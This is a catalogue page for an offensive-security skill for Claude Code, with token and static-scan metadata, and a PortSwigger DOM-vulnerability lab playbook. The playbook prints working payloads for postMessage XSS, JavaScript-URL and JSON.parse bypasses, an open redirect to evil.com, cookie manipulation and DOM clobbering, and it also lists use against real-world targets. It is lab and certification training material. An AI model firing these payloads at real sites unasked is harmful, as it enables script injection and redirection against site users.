DOM-based Vulnerabilities — Complete Deep Dive

DOM-based Vulnerabilities — Complete Deep Dive is a skill for Claude Code from akashrpatil/awesome-offensive-security-skills. It costs 28 tokens per session (1,256 once invoked), scanned A, a copy of DOM-based Vulnerabilities — Complete Deep Dive, Apache-2.0.

A study and testing guide for DOM-based web vulnerabilities, which happen when browser-side JavaScript handles untrusted page data unsafely. It focuses on PortSwigger training labs and includes example attack payloads and testing workflows.

In plain words
What is it for?
Use it for web-security training, browser-based vulnerability testing, bug-bounty research, and preparing for the Burp Suite Certified Practitioner exam.
Why use it?
It gives security testers a structured way to recognize these bugs, reproduce them in labs, and explore related attack paths.

Skill for Claude Code

Written for Claude Code: shipped in a Claude Code plugin.

Needs its repository: it reads a path above its own folder, which exists only inside the repository. The line is - [`_shared/references/elite-chaining-strategy.md`](../_shared/references/elite-chaining-strategy.md) — Exploit chaining methodology and high-payout chain patte.

Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

Security

Grade A, and why

DOM-based Vulnerabilities — Complete Deep Dive scanned grade A with 1 finding against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 12d ago.

The scan reads SKILL.md. This mod also ships 1 executable file (scripts/process.py), listed below but not scanned — reading those needs a real analyzer, not pattern matching.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

DOM-based Vulnerabilities — Complete Deep Dive

Deep-Dive Lab Playbook — Every PortSwigger lab variant with exact payloads, bypass techniques, and zero-day extensions. Difficulty: 🟢 Apprentice 🟡 Practitioner 🔴 Expert

When to Use

  • Studying for BSCP (Burp Suite Certified Practitioner) certification
  • Testing real-world targets for these vulnerability classes
  • Bug bounty hunting — these exact techniques find real bugs
  • Building exploitation chains

Prerequisites

  • Burp Suite Professional (Community works for most)
  • Browser with proxy configured
  • Burp Collaborator or interactsh for OOB testing

Workflow

Phase 1: Reconnaissance

  • Identify input vectors, parameters, and application behavior.

Phase 2: Exploitation

  • Apply standard lab payloads.

Phase 3: Zero-Day Escalation

  • Fuzz filters, bypass WAFs, and chain with other vulns.

Lab Playbooks

Lab 1: DOM XSS web messages 🟡 PRACTITIONER

<iframe src="https://TARGET" onload="this.contentWindow.postMessage('<img src=1 onerror=print()>','*')">

Target listens to message event and writes to innerHTML without origin check.

Lab 2: Web messages + JS URL 🟡 PRACTITIONER

<iframe src="https://TARGET" onload="this.contentWindow.postMessage('javascript:print()//http:','*')">

Message handler checks indexOf('http:') — append it after // comment.

Lab 3: Web messages + JSON.parse 🟡 PRACTITIONER

<iframe src="https://TARGET" onload='this.contentWindow.postMessage("{\"type\":\"load-channel\",\"url\":\"javascript:print()\"}","*")'>

Lab 4: DOM open redirection 🟡 PRACTITIONER

https://TARGET/post?postId=1&url=https://evil.com

Lab 5: DOM cookie manipulation 🟡 PRACTITIONER

<iframe src="https://TARGET/product?productId=1&'><script>print()</script>" onload="if(!window.x)this.src='https://TARGET';window.x=1;">

Lab 6: DOM clobbering XSS 🟡 PRACTITIONER

<a id=defaultAvatar><a id=defaultAvatar name=avatar href="1:alert(1)//">

Clobbers defaultAvatar.avatar property used in src attribute.

What ships with it

1 file beside SKILL.md in the same directory: the scripts, references and assets a skill reads on demand. Not counted in the per-session cost; read them before you install if any of them is executable.

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
